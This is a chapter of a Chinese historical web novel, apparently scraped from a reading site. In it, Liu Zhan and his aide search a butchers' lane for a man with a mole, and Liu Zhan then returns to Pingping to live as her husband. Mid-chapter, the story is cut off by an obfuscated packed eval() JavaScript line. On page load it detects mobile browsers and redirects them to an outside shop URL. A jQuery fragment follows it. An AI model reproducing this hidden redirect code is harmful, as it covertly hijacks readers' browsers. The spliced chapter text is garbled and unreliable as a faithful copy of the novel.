17. 第十七章
    天依旧漆黑,悦来店这条巷子偶尔几间光亮,似坟头萤火,飘忽不定,但柳湛和蒋望回一拐进朱方巷,夜风袭来,仿佛无形中有哪位仙魔施法挥袖,顺燃起所有的灯,明晃晃把朱方巷头顶的天都照亮。

    二人经过喧闹氤氲的浴堂口,往深处走,才两、三步就有人沙着嗓子喊:“唉,大官人!”

    光亮间一点雾气,分不清是沸水热气还是寒露,一长脸屠户冲蒋望回招手。蒋望回笑着点头,记得这人,沙嗓长脸,上回问他买过肉。

    屠户也记得他,快到中午了还来买肉,哪里找?差点想把瘟猪卖给他。

    到底不积德,忍住了,从角落里扒拉出二斤肥肉,屠户还记得给蒋望回装起来时自己的说辞:“这肉炼油好下饭,瘦肉未必有这香。”

    他心里还是有两分过意不去的,招呼蒋望回:“大官人今来得早,有上好的精瘦梅条。”

    蒋望回本来不准备买,却见柳湛目光扫向屠户眉尾的黑痣——其实已算不得眉尾了,已经挨着太阳穴。

    于是蒋望回笑道:“那给我来一条。”

    “好咧!”屠户钩上取肉。蒋望回又道:“麻烦帮忙切臊子,回去包馅。”

    “好咧。”屠霜把肉放到案板上开始剁,柳湛和蒋望回皆不露声色瞥向屠户拇指,攥着刀,有肉泥有血,不容易瞧清。两人多盯了会,屠户瞧在眼里,以为被怀疑李代桃僵,巷子里的确有人这么做,切肉的时候手快,掺些便宜槽头进去,但不是他。

    屠户面色和善,语气热情:“大官人们保管放心,这梅条给你们完完整整切好,待会砧板上能刮的都刮下来。”

    心里却道好心没好报,早知道继续卖你纯肥。

    柳湛比蒋望回早一点看清屠户拇指,两手皆有指纹。

    痣也不大对。

    应该不是。

    但走远些,柳湛还是问:“知道他姓什么吗?”

    “姓李。”

    柳湛不语,与蒋望回慢行多看。蒋望回又问:“天下姓莫过张、王、李,万一有好几个都有痣呢?”

    柳湛旋即接口:“那就宁可冤枉,不可错漏。”

    他忽然想到萍萍,她要是骗他,就死定了。

    “大官人,买肉不?”又有屠户招呼蒋望回。

    记得上回找他买的脆骨,蒋望回提了提手中梅条:“今日要买不多,已经有了。”

    “那下回来找小的!”

    “一定。”

    客套后,蒋望回和柳湛一道走过店铺,耳畔剁肉声此起彼伏,蒋望回缓缓开口:“他倒是姓张。”

    但刚才那屠户肥胖白净,脸上莫说麻子痣,连一个痘坑都没有。

    二人继续边走边观察,遇着一个眼角有痣和一个山根有痣的,都打探了姓名,再往前遇着家大店,门口七、八个刀手和案板一字排开,皆是双刀快手,铿锵有力犹如奏乐。

    当中有一位,是那天白日留守遇着蒋望回的,当时店子里肉全卖完,指甲缝里都扣不出来,所以说上几句话,略表遗憾,没做成买卖。

    刀手已经记不起蒋望回,蒋望回仍记得他,大伙都喊小叶。

    “大官人要买什么肉?”小叶问蒋望回。

    蒋望回一眼扫去,刀手中没有上半张脸长痣的,而后发现柳湛在往上瞟,他便也瞥,脏兮兮的挑子依稀能辨认出个“张”字。

    蒋望回抱拳唤小叶:“张兄。”

    “不不,您喊错了!”刀手旋即纠正,“小的姓叶。”他往后一指,“张是我们东家的姓。”

    柳湛和蒋望回顺他所指眺向铺内深处,一四十上下的男子正躺在竹椅上,手拿茶壶,闭目养神,天已经蒙蒙亮了,光透门照到他脸上,半明半暗,手和茶壶在暗处,只能瞧个轮廓,刚好眉丛中一颗痣在亮处。

    柳湛启唇:“我们买二斤肉,全切成臊子,不要见一点肥,”他看向案板,似对副手的刀工不满意,“叫你们东家来切。”

    “大官人有所不知,我们东家不操刀的。唉赵娘子沈娘子……”刀手解释着解释着,就茬到招呼新主顾,柳蒋二人循声望去,见俩手挎提篮,皆戴幂篱女子绕过桌案,拾级进入店铺中。根本瞧不见面目,不知刀手如何认出来。

    柳湛和蒋望回皆好视力皆,瞧见女子进去后,张屠起了身,接着三人一同走到铺左,一面墙挂满猪肉。张屠剔下一块,捉刀细细剁。

    可还是看不清张屠指腹。

    蒋望回径直问副手:“不是说不操刀么?”

    刀手舔了下唇,堆笑:“那是咱们邻居,和东家熟稔。”

    柳湛笑道:“我们住隔壁巷子,也算街坊邻里,不知能不能劳烦东家,也给我们破一回例?我们会外加些工钱。”

    “加金山银山都不成。”刀手摆手,“东家眼里的邻里街坊人,只有咱们巷子里的人。”

    说太久,旁边的刀手也凑过来:“大官人千万别误会,小叶说话可能难听了点,但绝对不是故意刁难。不止我们东家,这巷子里有不成文的规矩,许多待遇都只对本巷人。”

    “为何如此?”蒋望回追问。

    刀手们却只笑着摇头,不再说话了。

    蒋望侧首看向柳湛。

    柳湛抿唇笑了笑,仍望铺内,张屠剁完,给俩竹篮装了肉,重回竹椅躺下,二女挎上篮子,竟朝院内深处走去。

    “怎么不见二位娘子出来?”柳湛笑问。

    “你还说你是隔壁巷的,连这都不知道!”刀手旋即回,没了好脸色。

    蒋望回连忙将柳湛拉到一旁,压低嗓音:“郎君,朱方巷比别处巷子宽。它是一横十二纵,左边纵列里全是内巷,三进四进,只允本地人出入。那俩娘子应该就住在里面。我们住的悦来店贴朱方巷右墙,所以觉不到宽。”又请罪,“上回了解了这么个事,却没有向郎君禀明,是属下之过。”

    “是我疏忽了。”柳湛轻道,方才听那娘子姓沈,看来眼下是见不着了。

    许久,他深吸口气,似纠结后狠心下决定:“回客栈同他们说一声,我这几日不回去了。”

    “郎君要去哪里?”

    柳湛侧首眺眼,与蒋望回对视,俄顷,蒋望回反应过来,惊呼:“郎君!”

    柳湛点点头,他要回刘家久住认下那个假娘子,然后作为她的官人,住来朱方巷中。

    蒋望回抿着嘴巴喉头滑动,终是无话可说,埋首领命。柳湛也怕他开口,还好

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14176752|149997||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    是蒋望回,听不到诸如“郎君受苦了”,“委屈郎君”之类,他不爱听。

    “你回去,巷中每户人家一定要查到,尤其这家张记,还有一位沈娘子和陈娘子,务必仔细。”

    “属下一定。”

    柳湛颔首,转身独自往刘家久住去。

    他到的时候,萍萍正在屋内自责。

    她用最快的速度画好图,标注好,攥着纸欢欢喜喜跑回房内,柳湛却已不见踪影。

    他再次离开了。

    一定是她画太久,官人事急,再等下去就耽误了,才不告而别。

    她应该再麻利点的。

    不对,她不该画图。

    因为蒋大官人付了今晚的房钱,还买了那么多炭火,所以她舍不得浪费,想多赖一天再走。如果她不贪小便宜,今天就回朱方巷,刚才就能和官人一起走了。

    甚至可以直接领他回家,就不需要地图了。

    都怪她自己。

    咚、咚。

    萍萍听见叩门声,却提不起精神。

    屋外的人又叩,咚、咚。

    “谁呀?”萍萍起身,上前开门抬头,门口站的竟是柳湛。

    萍萍愣住,双手许久仍抓在门把手上。

    柳湛默然对视了会,缓慢浮起笑意:“我回来了。”

    他屡次去而复返,这还是第一回主动跟她说“我回来了”,萍萍眼泪霎时夺眶。

    她慌忙低头,左右手换着擦眼泪,嘴角漾笑:“我怎么又哭了。”

    柳湛看她满脸泪痕,数滴反耀阳光,又看微尘在她周围起雾,看她手忙脚乱了一阵,吸吸鼻子笑问:“你怎么回这么快,都办妥了?”

    “回得快不好吗?”柳湛反问。

    “好啊,当然好。”萍萍再擦最后一把眼泪,这才意识到一直没让柳湛进屋,忙让了半个身子,“官人,你等我收拾收拾,我们不等明日,今天就回家去。”

    她是空手来空手去,没有要捎上的,只是想把被子叠了,壶盏放回原位,桌椅摆整齐。店主人、刘娘子和小二哥都是好人,帮她许多,走时房间不要给他们添麻烦。

    柳湛却没急着应声,反而另起话头:“从前的事我一件也记不得了,你叫什么名字?”

    虽然记得前几日和柳湛说过,但萍萍还是认真作答,语气只有诚恳,全无指责:“我叫萍萍。”

    柳湛看她眸子亮亮,酒窝深陷:“姓呢?”

    户籍上她叫方萍。

    “我不知道自己姓什么。”萍萍到这时,眉间才萦点愁,“也许没有,也许有,但记不起来。”

    “父母呢?”

    “不记得。”萍萍笑仰起脑袋,再次同柳湛对视,“若我记得,自然也知道自己姓什么了呀!”她做了个无可奈何的表情,“我就记得萍萍,大伙这六年也都喊我萍萍或者萍娘子。”

    柳湛沉吟不语,叠字作乳名尚可,及笄了还唤略显轻浮,何况浮萍随波逐流,雨打飘零,风尘味重。

    “不过我记得,”萍萍脸上的笑容变了,仿佛阳光在这一霎照到她脸上一样,耀眼坚毅,“官人你曾说萍萍两字就很好,‘青萍不是漂泊无根,而是与干将齐名的宝剑重器!’”